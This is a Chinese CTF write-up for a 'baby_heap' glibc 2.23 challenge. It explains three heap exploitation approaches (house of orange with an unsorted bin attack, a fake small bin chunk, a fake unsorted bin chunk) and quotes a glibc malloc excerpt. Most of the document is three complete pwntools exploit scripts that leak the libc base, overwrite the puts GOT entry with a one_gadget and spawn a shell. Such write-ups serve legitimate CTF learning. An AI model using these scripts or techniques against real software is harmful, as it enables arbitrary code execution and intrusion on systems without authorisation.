附件:baby_heap
libc版本:glibc2.23
思路一:通过house of orange泄露libc地址,然后通过unsorted bin attack将main_arena+88地址写入到chunk_ptr(也就是申请出来的堆数组)中,这时候unsorted bin结构被破坏,修复也就是直接更改main_arena+88的fd(main_arena+88+0x10)和bk(main_arena+88+0x18)都为main_arena+88,然后将main_arena+88中的值修改为0x4040c0(chunk_size数组,这个题目每次只保存输入的size大小的最后一个字节),需要构造页对齐,也就是house of orange的其中一个条件,最后申请一个chunk,就会从伪造的topchunk也就是0x4040c0中分配,最终修改got中puts函数为one_gadget,从而getshell
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
free = base + libc.dump('__free_hook')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search(b'/bin/sh').__next__()
free = base + libc.sym['__free_hook']
return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './baby_heap'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("",) if argv[1]=='r' else process(binary)
def dbg():
if argv[1]=='r':
return
gdb.attach(p)
pause()
def itr():
p.interactive()
_create,_edit,_show = 1,2,3
menu = "3.show\n>\n"
size_str = "Size :\n"
content_str= "Content :\n"
index_str = "Index :\n"
def create(size,content):
sla(menu,_create)
sla(size_str,size)
sa2(content_str,content)
def edit(index,size,content):
sla(menu,_edit)
sla(index_str,index)
sla(size_str,size)
sa2(content_str,content)
def show(index):
sla(menu,_show)
sla(index_str,index)
create(0xf30,b"a"*0x10)
create(0x17f,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0xf40,b"a"*0x10)
# 构建size为0xf80
create(0x20f,b"a"*0x10)
edit(9,0x280,b"a"*0x218+p64(0xac1))
# house of orange
create(0x1000,b"a"*0x10)
create(0x78,b"a")
show(11)
base = uu64(r(8)) -3952993
leak("base", base)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = base + one_gadget[0]
main_arena_88 = base + 3951480
target = 0x4040c0
target2 = 0x404100
# unsorted bin attack
payload = b"a"*0x78 + p64(0xed1) + p64(main_arena_88) + p64(target2 - 0x10)
edit(11,0xa0,payload)
create(0xec0,b"a")
# 修复unsorted bin
edit(4,0x1000, p64(target)+p64(main_arena_88)*3)
# dbg()
create(0x220,b"a")
edit(13,0x50,p64(elf.got["puts"])*3)
edit(0,8,p64(shell))
# dbg()
itr()
参考链接:
思路二:是在调试过程中发现的,malloc的源码中有这一段
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
就是在申请堆块的时候会先从small bin中找有没有空闲的堆块,其中的bin,是根据main_arena和上申请堆块大小在small bin中的索引得到的,其实也是main_arena+xx,所以可以修改伪造其中有堆块,需要满足victim->bk->fd==victim,所以在堆上伪造就行了,有点像unlink,但是比它简单,最后就是和思路一样了,前面的思路也一样
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
free = base + libc.dump('__free_hook')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search(b'/bin/sh').__next__()
free = base + libc.sym['__free_hook']
return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './baby_heap'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("",) if argv[1]=='r' else process(binary)
def dbg():
if argv[1]=='r':
return
gdb.attach(p)
pause()
def itr():
p.interactive()
_create,_edit,_show = 1,2,3
menu = "3.show\n>\n"
size_str = "Size :\n"
content_str= "Content :\n"
index_str = "Index :\n"
def create(size,content):
sla(menu,_create)
sla(size_str,size)
sa2(content_str,content)
def edit(index,size,content):
sla(menu,_edit)
sla(index_str,index)
sla(size_str,size)
sa2(content_str,content)
def show(index):
sla(menu,_show)
sla(index_str,index)
create(0xf30,b"a"*0x10)
create(0x17f,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0x78,b"a"*0x10)
create(0xf40,b"a"*0x10)
# 构建size为0xf80
create(0x20f,b"a"*0x10)
# victim->bk->fd==victim
edit(9,0x280,p64(0x404110)*4+b"a"*0x1f8+p64(0xac1))
# house of orange
create(0x1000,b"a"*0x10)
create(0x78,b"a")
show(11)
base = uu64(r(8)) -3952993
leak("base", base)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = base + one_gadget[0]
main_arena_88 = base + 3951480
target = 0x4040c0
target2 = 0x404100
# unsorted bin attack
payload = b"a"*0x78 + p64(0xed1) + p64(main_arena_88) + p64(target2 - 0x10)
edit(11,0xa0,payload)
create(0xec0,b"a")
# 修复unsorted bin 并且修改small bin
edit(4,0x1000, p64(main_arena_88)*4 + p64(target2+0x10)*66)
# dbg()
create(0x120,b"a")
edit(13,0x50,p64(elf.got["puts"])*3)
edit(8,8,p64(shell))
# dbg()
itr()
思路三:在unsorted bin中伪造一个fake chunk,需要满足的条件是
victim->size > av->system_mem
调试发现 av->system_mem是0x62000,需要构造size不能大于这个,并且bk指针是一个可写地址,这里就利用size数组和堆数组连着,将bk指针的地址伪造成堆数组的第一个,最后申请出来,然后再泄露libc,从而getshell
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
free = base + libc.dump('__free_hook')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search(b'/bin/sh').__next__()
free = base + libc.sym['__free_hook']
return (system,binsh,base)
s = lambda data :p.send(str(data))
s2 = lambda data :p.send((data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sa2 = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
sla2 = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,b'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './baby_heap'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("",) if argv[1]=='r' else process(binary)
def dbg():
if argv[1]=='r':
return
gdb.attach(p)
pause()
def itr():
p.interactive()
_create,_edit,_show = 1,2,3
menu = "3.show\n>\n"
size_str = "Size :\n"
content_str= "Content :\n"
index_str = "Index :\n"
def create(size,content):
sla(menu,_create)
sla(size_str,size)
sa2(content_str,content)
def edit(index,size,content):
sla(menu,_edit)
sla(index_str,index)
sla(size_str,size)
sa2(content_str,content)
def show(index):
sla(menu,_show)
sla(index_str,index)
for i in range(16):
create(0x100,b"a")
# 伪造size
create(0x110,b"a")
create(0x101,b"a")
# house of orange
edit(17,0x1000,b"a"*0x108+p64(0xcd1))
create(0x1000,b"a")
# fake unsorted bin
edit(17,0x1000,b"a"*0x108+p64(0x111) + p64(0x4040c8)*2)
create(0x100,b"a")
# apply fake unsorted bin
create(0x100,b"a")
edit(20,0x1000,p64(elf.got["puts"])*2)
show(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
base = uu64(r(8)) - libc.sym["puts"]
leak("base",base)
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
shell = base + one_gadget[0]
edit(0,0x1000,p64(shell))
dbg()
itr()
参考链接:[SICTF 2023 #Round2] Crypto,PWN,Reverse_石氏是时试的博客-CSDN博客
其他思路:可以将上面的思路混合使用一下,还有当时在调试思路三的时候,申请比fake chunk小的chunk,会把chunk放入到对应的large bin中,当时这里要满足的条件跟思路三都一样了,所以感觉有点多此一举了,但是在这里提一嘴